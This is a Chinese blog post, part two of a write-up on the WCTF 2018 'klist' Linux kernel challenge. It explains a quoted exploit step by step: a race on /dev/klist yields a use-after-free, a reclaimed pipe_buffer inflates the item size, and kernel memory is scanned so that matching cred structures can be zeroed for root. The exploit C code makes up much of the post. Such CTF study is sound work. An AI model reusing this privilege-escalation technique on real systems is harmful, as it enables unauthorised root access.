0
点赞
收藏
分享

微信扫一扫

linux kernal pwn WCTF 2018 klist(二)

凛冬已至夏日未远 2022-04-29 阅读 28
网络安全

稍微回顾一下

我们试图利用一个uaf
再利用一个pipe结构体来让uaf转成任意地址读写。
最后还是通过搜索cred结构体,修改cred结构体来提权

跟着大佬exp学习一下
首先是ha1vk大佬的

#define PIPE_BUFFER_SIZE 0x280
#define BUF_SIZE PIPE_BUFFER_SIZE
char buf[BUF_SIZE];
char buf2[BUF_SIZE];
char bufA[BUF_SIZE];
char bufB[BUF_SIZE];
 
void fillBuf() {
   memset(bufA,'a',BUF_SIZE);
   memset(bufB,'b',BUF_SIZE);
}

int fd;
void initFD() {
   fd = open("/dev/klist",O_RDWR);
   if (fd < 0) {
      printf("[-]open file error!!\n");
      exit(-1);
   }
}

   initFD();
   fillBuf();
   addItem(bufA,BUF_SIZE-24);
   selectItem(0);

首先我们通过查阅源码知道pipe_buf大小是0x280
然后正常打开了驱动文件
fillbuf函数也是正常的填充了两个buf数组 数组的大小都是0x280

然后添加了一个item
item的大小也控制成了0x280
然后用selectitem将其选中

int pid = fork();
   if (pid < 0) {
      printf("[-]fork error!!\n");
      exit(-1);
   } else if (pid == 0) {
      for (int i=0;i<200;i++) {
         if (fork() == 0) {
            checkWin(i+1);
         }
      }
      while (1) {
         //与主线程的listHead竞争
         addItem(bufA,BUF_SIZE-24);
         selectItem(0);
         removeItem(0);
         addItem(bufB,BUF_SIZE-24);
         listRead(buf2,BUF_SIZE-24);
         if (buf2[0] != 'a') {
            printf("race compete in child process!!\n");
            break;
         }
         removeItem(0);
      }
      sleep(1);
      
      removeItem(0); //把空间腾出来
      int pfd[2];
      pipe(pfd); //管道的pipe_buffer将会申请到我们能够UAF控制的空间里
      write(pfd[1],bufB,BUF_SIZE);
      size_t memLen = 0x1000000;
      uint32_t *data = (uint32_t *)calloc(1,memLen);
      listRead(data,memLen);
      int count = 0;
      size_t maxLen = 0;
      for (int i=0;i<memLen/4;i++) {
         if (data[i] == UID && data[i+1] == UID && data[i+7] == UID) {
            memset(data+i,0,28);
            maxLen = i;
            printf("[+]found cred!!\n");
            if (count ++ > 2) {
               break;
            }
         }
      }
      listWrite(data,maxLen * 4);
      checkWin(0);
 
   } else { //主线程
      while (1) {
         listHead(buf);
         listRead(buf,BUF_SIZE-24);
         if(buf[0] != 'a')
            break;
      }
   }
   return 0;

然后直接一个if结构就都写完了
首先是fork一个子进程。
在子进程中继续打开200个子进程,子进程做的是就是

void checkWin(int i) {
   while (1) {
      sleep(1);
      if (getuid() == 0) {
         printf("Rooted in subprocess [%d]\n",i);
         system("cat flag"); 
         exit(0);
      }
   }
}

不停的检查线程是否提权成功

然后这个子进程开始进入一个死循环试图与主进程竞争
主进程做的事情就是

while (1) {
         listHead(buf);
         listRead(buf,BUF_SIZE-24);
         if(buf[0] != 'a')
            break;
      }

不停的选中head,然后读一下
期待那个时候另一个线程进来完成条件竞争

判断有没有竞争成功的条件是被选中的那个item里面的内容有没有发生变化
所以就试着读一下看看 发生变化就不是a了 就说明成功了
就break。

子进程做的事情就是

while (1) {
         //与主线程的listHead竞争
         addItem(bufA,BUF_SIZE-24);
         selectItem(0);
         removeItem(0);
         addItem(bufB,BUF_SIZE-24);
         listRead(buf2,BUF_SIZE-24);
         if (buf2[0] != 'a') {
            printf("race compete in child process!!\n");
            break;
         }
         removeItem(0);
      }

它首先添加一个item,里面全部塞满了字母a
就是利用这个item去竞争
如果竞争成功
会造成uaf
它会被释放
但是链表里面还有它
所以就把它选中
再释放掉再申请回来 并写上b
如果竞争成功被选中的那个里面内容也会更改
即可完成利用。

这里两个remove的原因
其实就是为了不让它在不停的while中疯狂的消耗内存空间。

条件竞争创建uaf之后做了个啥事?
子线程继续运行这样的程序

      removeItem(0); //把空间腾出来
      int pfd[2];
      pipe(pfd); //管道的pipe_buffer将会申请到我们能够UAF控制的空间里
      write(pfd[1],bufB,BUF_SIZE);
      size_t memLen = 0x1000000;
      uint32_t *data = (uint32_t *)calloc(1,memLen);
      listRead(data,memLen);
      int count = 0;
      size_t maxLen = 0;
      for (int i=0;i<memLen/4;i++) {
         if (data[i] == UID && data[i+1] == UID && data[i+7] == UID) {
            memset(data+i,0,28);
            maxLen = i;
            printf("[+]found cred!!\n");
            if (count ++ > 2) {
               break;
            }
         }
      }
      listWrite(data,maxLen * 4);
      checkWin(0);

首先把刚刚申请的里面放满b的都object释放掉

然后开了一个pipe数组
两个成员分别是管道的两端

这里不熟悉管道的可以先去学学管道

申请管道之后就是申请到了那个0x280的uaf结构体。
通过写管道,把管道的len改一下
本身这个len不大
但是len是dowrd 再加上offset的dword是0
凑一起就变成了很大的size
完成了对item结构体改大size的任务。

然后申请一个大块 开始read
读进来搜索 查找。
然后listwrite写一下。对cred结构体修改成功。

修改成功之后上面还有线程创建时候一直的一个checkwin函数
还在那偶尔动一动看看自己权限高没高

其他

其实里面有个问题我们没有讨论
我们之前在hackme的时候说cred在kernal_base上面
slab在下面

包括很多师傅exp中都有提到刚开始直接申请0x200个cred结构体是为了让它分配到slab下面的位置给我们溢出的机会。
但是看半天感觉还是没有提到这是为啥
所以我想能不能调进去看一看
看看这究竟是咋回事。
所以就有了(三)

因为内核4.5之后为了防止像ciscn2017 babydriver那样直接通过uaf就能申请到cred,内核将cred-jar与slab做了分离。
但是cred-jar毕竟有限,就要多多申请。

举报

相关推荐

0 条评论